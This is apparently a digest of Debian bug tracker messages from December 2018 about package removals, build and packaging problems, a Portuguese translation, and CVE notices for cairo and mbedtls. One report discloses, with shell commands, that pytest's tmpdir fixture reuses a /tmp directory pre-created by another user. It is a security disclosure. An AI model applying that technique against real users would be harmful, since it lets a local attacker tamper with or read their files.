This is replaced by src:cfengine2 and stretch has both cfengine2 and cfengine3,
so users can migrate within a stable release to 3.

The current version is also RC-buggy for a long time and blocks the removal
of OpenSSL 1.0.

Cheers,
Moritz

Bug#915805: Should this package be removed?

[Moritz Muehlenhoff]

Source: swift-im
Severity: serious

Should swift-im be removed?
- No upload since more than two years
- Totally outdated compared to upstream
- Virtually no users in popcon
- Depends on legacy libs (OpenSSL 1.0, qt4)

Unless any objections are raised, I'd reassign this bug to ftp.debian.org
for removal.

Cheers,
Moritz

Bug#915803: pytest: insecure use of /tmp

[Jakub Wilk]

Source: pytest
Version: 3.10.1-1
Tags: security

The "tmpdir" fixture[*] uses /tmp/pytest-of-$USER/ as a temporary 
directory, even when this directory already exist and is owned by 
another (potentially malicious) user:


  $ ls -ld /tmp/pytest-of-jwilk/
  drwxrwxrwx 2 mallory mallory 40 Dec  6 22:29 /tmp/pytest-of-jwilk/

  $ echo 'def test_foo(tmpdir): pass' > test.py

  $ python3 -m pytest -q test.py
  .
[100%]
  1 passed in 0.05 seconds

  $ ls -alr /tmp/pytest-of-jwilk
  total 0
  lrwxrwxrwx  1 jwilk   jwilk29 Dec  6 22:30 pytest-current -> 
/tmp/pytest-of-jwilk/pytest-0
  drwx--  3 jwilk   jwilk80 Dec  6 22:30 pytest-0
  drwxrwxrwt 11 rootroot340 Dec  6 22:30 ..
  drwxrwxrwx  3 mallory mallory  80 Dec  6 22:30 .


[*] https://docs.pytest.org/en/3.10.1/tmpdir.html#the-tmpdir-fixture

--
Jakub Wilk

Bug#915791: tomcat9: broken symlinks: /var/lib/tomcat9/{logs,work}

[Emmanuel Bourg]

Le 06/12/2018 à 21:01, Andreas Beckmann a écrit :

> during a test with piuparts I noticed your package ships (or creates)
> a broken symlink.
> 
> From the attached log (scroll to the bottom...):
> 
> 0m40.0s ERROR: FAIL: Broken symlinks:
>   /var/lib/tomcat9/work -> ../../cache/tomcat9 (tomcat9)
>   /var/lib/tomcat9/logs -> ../../log/tomcat9 (tomcat9)
> 
> 
> Shouldn't tomcat9 ship (or create) the targets as well?

Hi Andreas,

These directories are created automatically when the service is started.
Is it ok or should this be changed to directories created at install time?

Emmanuel Bourg

Bug#891633: aolserver4: Should this package be removed?

[Moritz Mühlenhoff]

On Wed, Dec 05, 2018 at 07:43:00AM -0500, Scott Kitterman wrote:
> Please either file rm bugs for them or remove the depenency.  Once that's 
> done, please remove the moreinfo tag.

Ack. I'll take care of that.

Cheers,
Moritz

Bug#915682: Migration bug

[Xavier]

Control: reopen -1

Hello,

thanks for this report, this is an update bug: 1.9.18+ds-1 version
didn't clean these links. I'll push 2.0.0+ds-2 that clean old links.

Cheers,
Xavier

Bug#915802: apt-lisbugs: [INTL:pt] Portuguese translation

[Miguel Figueiredo]

Package: apt-listbugs
Version: 0.1.26
Tags: l10n, patch
Severity: wishlist

Updated Portuguese translation for apt-listbugs messages.
Feel free to use it.

For translation updates please contact 'Last Translator' or the
Portuguese Translation Team .

--
Best regards / Melhores cumprimentos,

Miguel Figueiredo
# Portuguese translation for apt-listbugs.
# Copyright (C) 2002-2016 Masato Taruishi et al.
# This file is distributed under the same license as the apt-listbugs package.
# Miguel Figueiredo , 2007-2016, 2018.
#
msgid ""
msgstr ""
"Project-Id-Version: apt-listbugs 0.1.20\n"
"Report-Msgid-Bugs-To: invernom...@paranoici.org\n"
"POT-Creation-Date: 2018-11-24 23:01+0100\n"
"PO-Revision-Date: 2018-12-02 09:40+\n"
"Last-Translator: Miguel Figueiredo \n"
"Language-Team: Portuguese \n"
"Language: pt\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1)\n"

#. TRANSLATORS: "E: " is a label for error messages; you may translate it with a suitable abbreviation of the word "error"
#: ../bin/apt-listbugs:421 ../bin/apt-listbugs:454 ../bin/apt-listbugs:459
#: ../bin/apt-listbugs:465 ../bin/apt-listbugs:479 ../bin/apt-listbugs:509
#: ../bin/apt-listbugs:540 ../bin/apt-listbugs:589 ../bin/apt-listbugs:602
#: ../lib/aptlistbugs/aptcleanup:52 ../lib/aptlistbugs/aptcleanup:55
#: ../lib/aptlistbugs/logic.rb:292 ../lib/aptlistbugs/logic.rb:302
#: ../lib/aptlistbugs/logic.rb:986 ../lib/aptlistbugs/logic.rb:998
#: ../lib/aptlistbugs/logic.rb:1011 ../lib/aptlistbugs/migratepins:52
#: ../lib/aptlistbugs/migratepins:55
msgid "E: "
msgstr "E: "

#: ../bin/apt-listbugs:422
msgid ""
"This may be caused by a package lacking support for the ruby interpreter in "
"use. Try to fix the situation with the following commands:"
msgstr ""
"Isto pode ser causado por um pacote sem suporte à utilização do interpretador "
"ruby. Tente corrigir a situação com os seguintes comandos:"

#: ../bin/apt-listbugs:454
msgid ""
"APT_HOOK_INFO_FD is undefined.\n"
msgstr ""
"Não está definido APT_HOOK_INFO_FD.\n"

#: ../bin/apt-listbugs:459
msgid ""
"APT_HOOK_INFO_FD is not correctly defined.\n"
msgstr ""
"APT_HOOK_INFO_FD não está correctamente definido.\n"

#: ../bin/apt-listbugs:465
msgid "Cannot read from file descriptor %d"
msgstr "Não pode ler a partir do descriptor de ficheiro %d"

#: ../bin/apt-listbugs:479
msgid ""
"APT Pre-Install-Pkgs is not giving me expected 'VERSION 3' string.\n"
msgstr ""
"APT Pre-Install-Pkgs não me está a dar a string esperada 'VERSION 3'.\n"

#: ../bin/apt-listbugs:509
msgid ""
"APT Pre-Install-Pkgs is giving me fewer fields than expected.\n"
msgstr ""
"APT Pre-Install-Pkgs está a dar menos campos do que o esperado.\n"

#: ../bin/apt-listbugs:540
msgid ""
"APT Pre-Install-Pkgs is giving me an invalid direction of version change.\n"
msgstr ""
"APT Pre-Install-Pkgs está a dar uma direcção inválida da alteração da versão.\n"

#: ../bin/apt-listbugs:619
msgid "** Exiting with an error in order to stop the installation. **"
msgstr "** Terminar com um erro de modo a parar a instalação. **"

#: ../lib/aptlistbugs/aptcleanup:52 ../lib/aptlistbugs/logic.rb:390
#: ../lib/aptlistbugs/migratepins:52
msgid "Cannot read from %s"
msgstr "Não pode ler de %s"

#: ../lib/aptlistbugs/aptcleanup:123
msgid "Fixed packages : "
msgstr "Pacotes corrigidos : "

#: ../lib/aptlistbugs/logic.rb:49
msgid "Usage: "
msgstr "Utilização: "

#: ../lib/aptlistbugs/logic.rb:50
msgid " [options]  [arguments]"
msgstr " [opções]  [argumentos]"

#: ../lib/aptlistbugs/logic.rb:52
msgid ""
"Options:\n"
msgstr ""
"Opções:\n"

#. TRANSLATORS: the colons (:) in the following strings are vertically aligned, please keep their alignment consistent
#. TRANSLATORS: the \"all\" between quotes should not be translated
#: ../lib/aptlistbugs/logic.rb:55
msgid ""
" -s   : Filter bugs by severities you want to see\n"
"(or \"all\" for all)\n"
"[%s].\n"
msgstr ""
" -s  : Filtrar bugs pelas severidades que deseja ver\n"
"(ou \"all\" para todas)\n"
"[%s].\n"

#: ../lib/aptlistbugs/logic.rb:56
msgid ""
" -T : Filter bugs by tags you want to see.\n"
msgstr ""
" -T : Filtrar bugs pelos tags que deseja ver.\n"

#: ../lib/aptlistbugs/logic.rb:57
msgid ""
" -S   : Filter bugs by pending-state categories you want to see\n"
"[%s].\n"
msgstr ""
" -S  : Filtrar bugs pelas categorias pending-state que deseja "
"ver\n"
"[%s].\n"

#: ../lib/aptlistbugs/logic.rb:58
msgid ""
" -B : Filter bugs by number, showing only the specified bugs.\n"
msgstr ""
" -B : Filtrar bugs por número, mostrar apenas os bugs\n"
"especificados.\n"

#: ../lib/aptlistbugs/logic.rb:59
msgid ""
" -D   : Show downgraded packages, too.\n"
msgstr ""
" -D   : Mostrar também os 

Bug#915778: lintian.debian.org: broken git repo link in page footers

[Chris Lamb]

Felix Lechner wrote:

> Maybe the actual website has not been updated?

The website has been updated since that commit (it is built from
lintian.git after all...), it's just that lindsay.debian.org has it's
own local configuration which overrides the one in the repository.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#915148: [Pkg-cmake-team] Bug#915148: cmake: regression in ros-ros-comm build

[Jochen Sprickerhof]

control: reopen -1
control: reassign -1 src:cmake
control: affects -1 ros-ros-comm
control: tags -1 - patch

Hi,

after reading up on this, I think this needs fixing in cmake.

man gcc:

| -pthread
| 
| Define additional macros required for using the POSIX threads

| library.  You should use this option consistently for both
| compilation and linking.  This option is supported on GNU/Linux
| targets, most other Unix derivatives, and also on x86 Cygwin and
| MinGW targets.

So neither adding -lpthread, as done by

https://gitlab.kitware.com/cmake/cmake/commit/bd831ed0948a1e99f573f0056f2bee5d3b21009e

nor adding /usr/lib/x86_64-linux-gnu/libpthread.so as done by

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=563479

seems correct to me.

Note that

https://cmake.org/cmake/help/v3.1/module/FindThreads.html

promotes CMAKE_THREAD_PREFER_PTHREAD to get -pthread, but it would still 
need to go into CXXFLAGS (through a to be defined BOOST_FLAGS, maybe), 
to my understanding. Also having CMAKE_THREAD_PREFER_PTHREAD as default 
for gcc and clang may make sense?


I will revert the workaround in ros-catkin if you agree.

Cheers Jochen


signature.asc
Description: PGP signature

Bug#915652: ganeti: Fails to build reproducibly: embeds path of ip found via PATH

[Andreas Henriksson]

Control: tags -1 + patch

Hi Apollon,

On Wed, Dec 05, 2018 at 07:56:20PM +0200, Apollon Oikonomopoulos wrote:
> Control: tags -1 upstream confirmed
> 
> Hi Gunnar,
> 
> On 09:50 Wed 05 Dec , Gunnar Wolf wrote:
> > We have found ganeti to embed the system path for ip — which is /bin
> > on non-/usrmerged systems, and /usr/bin on /usrmerged systems.
> 
> Thanks for the report! Unfortunately ganeti embeds a lot of other paths, 
> detected at ./configure time. Apart from making the build 
> non-reproducible, it also happens to make an assumption that the running 
> system will have binaries at the same paths as the build system, which 
> obviously does not hold. IMHO, it should just rely on $PATH to find the 
> external programs it needs to execute. I'll see what I can do about it.

I agree that fixing these merged-usr reproducability issues on their own
is pretty useless, not only for ganeti but for all affected packages.
Still I'm attaching a patch that makes ganeti reproducible in
merged-usr vs non-merged systems. I think it would be great if
you could still consider applying it (and then continuing the discussion
upstream about general improvements), because it would be nice to see
people stop discussing this useless change. Local builds will break
for so many other reasons than merged-usr. fixing the things
people complain about could still be nice though, just to avoid
further discussions.

Regards,
Andreas Henriksson
ganeti_2.16.0-2.1.dsc
ganeti_2.16.0-2.dsc

Bug#915634: printer-driver-hpcups: PPDs for fax functionality

[Till Kamppeter]

On 06/12/2018 21:57, Didier 'OdyX' Raboud wrote:

Control: tags -1 +help

Le mercredi, 5 décembre 2018, 13.57:04 h CET Brian Potkin a écrit :

The file list for printer-driver-hpcups is:

…

But the package description says:

  It does not provide PPDs for the fax functionality of HP's multi-
  function devices.

Shouldn't that be

  It is also required for HPLIP fax support.

as is in the printer-driver-hpijs package?


To be fair, I have no idea how Fax functionality is supposed to work; whether
it does, and if it's still useful at all. :-)

Instead of moving these files around, what would you think about dropping it
entirely?



Fax is a rather old mean of communication, more and more replaced by 
e-mails with scanned documents attached. For me it is 4 years ago when I 
had to send a fax the last time.


Perhaps in some countries fax is still more important.

As many HP devices support fax and HP supports their fax function with 
their software I would not simply drop it, but move the PPD files for 
fax to the part of HPLIP which contains the fax-supporting software (the 
/usr/lib/cups/backend/hpfax backend).


By the way, also some of HP's PPDs for Postscript printers can need a 
part of HPLIP, the /usr/lib/cups/filter/hpps filter, but this one is 
already in the printer-driver-postscript-hp package.


So what I see has to be done is only moving the fax PPDs into the 
package with the hpfax backend. Otherwise the printer-driver-... binary 
packages of HPLIP seem to be OK.


   Till

Bug#915729: /usr/include/czmq_prelude.h:700:17: fatal error: uuid.h: No such file or directory

[Luca Boccassi]

On Thu, 6 Dec 2018 16:05:21 +0100 Michael Biebl 
wrote:
> Am 06.12.18 um 15:49 schrieb Luca Boccassi:
> > That header has always been a torn in the side, and should have
_never_
> > been a public one, but unfortunately it's too late now.
> > 
> > I'm actually wondering how it can work anywhere since it's always
> > included and there's no libczmq-dev -> uuid-dev dependency...
> 
> Hm, rsyslog *does* build-depend on uuid-dev. uuid-dev provides
> /usr/include/uuid/uuid.h
> 
> The code in czmq_prelude.h seems to include
> uuid/uuid.h on Linux, (so the header from uuid-dev is found) and
uuid.h
> on kfreebsd.
> 
> /usr/lib/$(MULTIARCH)/pkgconfig/libzmq.pc does *not* list uuid as
> dependency even though the public headers do require it.
> If uuid was list as Requires(.private), -I/usr/include/uuid/ would be
> added to CFLAGS and the header would be found.
> 
> So it works only by accident on Linux, since there it uses
uuid/uuid.h
> which doesn't require CFLAGS to be set properly.

Yes, that's indeed the root cause.

I actually think I can get away with removing those includes from the
public header - the only usage of those symbols is in the private
modules.

I struggle to think why or how an external dependency would happen to
use libuuid without actually including the headers in the appropriate
source files, and how it could get away with having it work by random
chance of this other third party header including them.

Currently testing this change, will upload soon.

-- 
Kind regards,
Luca Boccassi

signature.asc
Description: This is a digitally signed message part

Bug#915801: cairo: CVE-2018-19876

[Salvatore Bonaccorso]

Source: cairo
Version: 1.16.0-1
Severity: important
Tags: security upstream
Forwarded: https://gitlab.freedesktop.org/cairo/cairo/merge_requests/5

Hi,

The following vulnerability was published for cairo.

CVE-2018-19876[0]:
| cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would
| free memory using a free function incompatible with WebKit's
| fastMalloc, leading to an application crash with a "free(): invalid
| pointer" error.

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2018-19876
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19876
[1] https://gitlab.freedesktop.org/cairo/cairo/merge_requests/5
[2] https://bugs.webkit.org/show_bug.cgi?id=191595

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#913946: llvm*7 unstripped

[Rebecca N. Palmer]

Control: retitle -1 llvm*: not properly stripped, -dbgsym missing
Control: tags -1 - patch

dh_strip uses objcopy as well as strip, so we might need to similarly 
force that to the LLVM version.


On 05/12/2018 22:50, Sven Joachim wrote:

the installed libraries are unstripped,


While this could be the result of dh_strip crashing, local testing 
suggests llvm-strip --remove-section=.comment --remove-section=.note 
--strip-unneeded [library filename] 
(https://sources.debian.org/src/debhelper/11.5.3/dh_strip/#L361) 
*doesn't actually strip anything*.


They also don't appear to be working debug symbols (backtraces from the 
"unstripped" libllvm7:amd64 are as stripped as usual, in both gdb and 
lldb).  I don't know if this is #914021 or a new problem.



And why is it executable?


dh_fixperms is before dh_strip, and llvm-strip sets its output to 
executable.  This can probably be fixed by calling dh_fixperms again 
after dh_strip.

Bug#915634: printer-driver-hpcups: PPDs for fax functionality

[Didier 'OdyX' Raboud]

Control: tags -1 +help

Le mercredi, 5 décembre 2018, 13.57:04 h CET Brian Potkin a écrit :
> The file list for printer-driver-hpcups is:
> 
> …
> 
> But the package description says:
> 
>  It does not provide PPDs for the fax functionality of HP's multi-
>  function devices.
> 
> Shouldn't that be
> 
>  It is also required for HPLIP fax support.
> 
> as is in the printer-driver-hpijs package?

To be fair, I have no idea how Fax functionality is supposed to work; whether 
it does, and if it's still useful at all. :-)

Instead of moving these files around, what would you think about dropping it 
entirely?

-- 
OdyX

signature.asc
Description: This is a digitally signed message part.

Bug#888548: kismet: Update to a more recent version

[Daniel Moran]

Hi,

The Kismet downloads page now shows a new version.

Would it be possible to update the Kismet package?
Or would a "Kismet-Beta" package be a better option?

Thanks,
Dan

On Sat, 27 Jan 2018 23:47:13 +0100 Nikos Andrikos
 wrote:
> Hi Thomas,
> 
> From what I see there is no newer release in the downloads page:
> https://www.kismetwireless.net/download.shtml
> 
> Do you think there are changes to be included in a new release?
> If yes, we should contact upstream in order to ask them about.
> 
> Kind regards,
> Nick
> 
> --
> =Do-
> N.AND
> 
> 2018-01-27 0:21 GMT+01:00 Thomas Andrejak :
> 
> > Source: kismet
> > Version: 2016.07.R1-1
> > Severity: wishlist
> >
> > The actual version is 2016 and start to be old. Please update to a
> > more recent version.
> >
> > Regards
> >
> > Thanks
> >
> > Thomas
> >

Bug#915800: standardize on either _ or - for bash-completions

[積丹尼 Dan Jacobson]

Package: kmod
Version: 25-2
Severity: wishlist
File: /bin/kmod

The bash-completions for
# modprobe usb
usb-common  usb_f_ecm_subsetusb_f_phonetusb_gigaset 
usbip-vudc  usbtmc
usb-serial-simple   usb_f_eem   usb_f_printer   usb_wwan
usblcd  usbtouchscreen
usb-storage usb_f_fsusb_f_rndis usbatm  
usblp   usbtv
usb8xxx usb_f_hid   usb_f_serialusbdux  
usbmon  usbvision
usb_8devusb_f_mass_storage  usb_f_ss_lb usbduxfast  
usbnet
usb_debug   usb_f_midi  usb_f_uac1  usbduxsigma 
usbserial
usb_f_acm   usb_f_ncm   usb_f_uac2  usbip-core  
usbsevseg
usb_f_ecm   usb_f_obex  usb_f_uvc   usbip-host  
usbtest

should standardize on either _ or -, even though man modprobe says

   note that for convenience, there is no difference between
   _ and - in module names (automatic underscore conversion is performed).

Bug#915658: gnome-applets: Fails to build reproducibly: embeds path of su found via PATH

[Andreas Henriksson]

Control: tags -1 + pending

Hello Gunnar,

On Wed, Dec 05, 2018 at 10:19:34AM -0600, Gunnar Wolf wrote:
> Source: gnome-applets
> Version: 3.30-0-1
> Severity: important
> User: m...@linux.it
> Usertags: usrmerge
> 
> Hello,
> 
> You might be aware on the current discussion regarding
> /usrmerged-systems breaking package builds for non-/usrmerged systems,
[...]

Already fixed in git.

Regards,
Andreas Henriksson

Bug#889803: add package with cd-paranoia binary

[Benjamin Barenblat]

Niels, it looks like you uploaded src:libcdio-paranoia 10.2+0.94+2-4,
removing the cd-paranoia binary package, because cd-paranoia(1) is
already included in the libcdio-utils package. However, if you look at
libcdio-utils in sid, you’ll see this is no longer the case – there is
currently no package in sid that provides cd-paranoia(1). Would you be
willing to undo that change and upload a new src:libcdio-paranoia
equivalent to 10.2+0.94+2-3?

For reference, here’s the current situation. cd-paranoia(1) was
originally developed in upstream’s libcdio repository.¹ In 2011, shortly
after the release of libcdio 0.83, Rocky Bernstein split that repository
into a libcdio repository and a libcdio-paranoia repository,² copying
over cd-paranoia(1) to the new development. Further work on the program
occurred there. However, libcdio appears not to have much attention paid
to it in Debian at the time, so src:libcdio 0.83 and its associated
binary packages were included with jessie and stretch, and libcdio-utils
contained cd-paranoia(1).

After the stretch release, however, src:libcdio and src:libcdio-paranoia
got updates in Debian: src:libcdio to 2.0.0 and src:libcdio-paranoia
to 10.2+0.94+2. During the update, cd-paranoia(1) disappeared from
src:libcdio, as expected. However, the program didn’t get included in
any of src:libcdio-paranoia’s binary packages. This brings us to the
current situation, in which the cd-paranoia(1) program is not
distributed in sid at all.


¹ https://git.savannah.gnu.org/cgit/libcdio.git
² https://github.com/rocky/libcdio-paranoia

Bug#915799: general: libGL.so.1 Missing

[Finn Haese]

Package: general
Severity: important

Dear Maintainer,

Steam fails to start, libGL.so.1 is missing.
Not able to submit bug for "Steam", not found in list of packages when trying
to submit bug.



-- System Information:
Debian Release: 9.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-8-amd64 (SMP w/6 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#915798: wbar: reproducible build (usrmerge): embeds path of pidof found in PATH

[Andreas Henriksson]

Source: wbar
Version: 2.3.4-8
Severity: normal
User: m...@linux.it
Usertags: usrmerge
Forwarded: https://salsa.debian.org/debian/wbar/merge_requests/1


Dear Maintainer,

The package fails to build reproducibly in a merged-usr vs non-merged
environment. Please see proposed trivial change to configure
the package fixing this in salsa MR.

Regards,
Andreas Henriksson

Bug#915797: /etc/sysctl.d/protect-links.conf should be in /usr/lib/sysctl.d/

[Josh Triplett]

Package: procps
Version: 2:3.3.15-2
Severity: normal
File: /etc/sysctl.d/protect-links.conf

protect-links.conf is supplied by Debian, and should be in
/usr/lib/sysctl.d/ ; the sysadmin can still override it by creating
/etc/sysctl.d/protect-links.conf .

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages procps depends on:
ii  init-system-helpers  1.56
ii  libc62.28-1
ii  libncurses6  6.1+20181013-1
ii  libncursesw6 6.1+20181013-1
ii  libprocps7   2:3.3.15-2
ii  libtinfo66.1+20181013-1
ii  lsb-base 10.2018112800

Versions of packages procps recommends:
ii  psmisc  23.2-1

procps suggests no packages.

-- no debconf information

Bug#915795: RM: italc -- ROM; iTALC has been continued as Veyon

[Mike Gabriel]

Package: ftp.debian.org
Severity: normal

Hi,

please remove the italc src:package from testing/unstable. It will be  
replaced by src:package veyon which I have just uploaded to Debian's  
NEW queue.


Veyon is developed by the same upstream who worked on iTALC. Veyon is  
a more secure and better redesigned approach. The development of iTALC  
has ceased and quasi must be considered dead.


Thanks,
Mike
--

DAS-NETZWERKTEAM
mike gabriel, herweg 7, 24357 fleckeby
mobile: +49 (1520) 1976 148
landline: +49 (4354) 8390 139

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgpvKBMWK_vBt.pgp
Description: Digitale PGP-Signatur

Bug#915796: mbedtls: CVE-2018-19608: Local timing attack on RSA decryption

[Salvatore Bonaccorso]

Source: mbedtls
Version: 2.13.0-3
Severity: grave
Tags: security upstream

Hi,

The following vulnerability was published for mbedtls.

CVE-2018-19608[0]:
| Arm Mbed TLS before 2.14.1, before 2.7.8, and before 2.1.17 allows a
| local unprivileged attacker to recover the plaintext of RSA
| decryption, which is used in RSA-without-(EC)DH(E) cipher suites.

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2018-19608
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19608
[1] 
https://tls.mbed.org/tech-updates/security-advisories/mbedtls-security-advisory-2018-03
[2] 
https://tls.mbed.org/tech-updates/releases/mbedtls-2.14.1-2.7.8-and-2.1.17-released

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#915390: clazy: Segmentation fault compiling any file

[Lisandro Damián Nicanor Pérez Meyer]

El jueves, 6 de diciembre de 2018 17:02:22 -03 Lisandro Damián Nicanor Pérez 
Meyer escribió:
> For what I could see in the source the solution is to either set CLANGXX
> (maybe check if it is not defined and then define it?) or modifying the
> script in another way.
> 
> At least in unstable this is not a problem right now as the default LLVM is
> now 7, but a more robust solution could help.

Even if I solve the call to the right compiler we would still need to solve 
the dependency. Pino: maybe harcoding the clan version like we do in qtt 
creator?


-- 
"Los promotores del software privativo demonizan algo tan básico y ético como
el hecho de compartir imponiendo términos como el de 'pirata'. Equiparan
ayudar al prójimo con atacar barcos. Cuando me preguntan qué pienso de la
piratería musical e informática digo que atacar barcos es muy malo y,
que yo sepa, los piratas no usan computadoras.”
  Richard Stallman, 05/11/2008, anexo de la Cámara de Diputados, Argentina

Lisandro Damián Nicanor Pérez Meyer
http://perezmeyer.com.ar/
http://perezmeyer.blogspot.com/


signature.asc
Description: This is a digitally signed message part.

Bug#887394: Packaging Veyon (was: Re: Accepted italc 1:3.0.3+dfsg1-2 (source) into unstable)

[Mike Gabriel]

Hi,

On  Do 06 Dez 2018 16:07:31 CET, Mike Gabriel wrote:


PS: upload will come soon...


Uploaded 20min ago.

Mike
--

DAS-NETZWERKTEAM
mike gabriel, herweg 7, 24357 fleckeby
mobile: +49 (1520) 1976 148
landline: +49 (4354) 8390 139

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgpY0ld92tQAN.pgp
Description: Digitale PGP-Signatur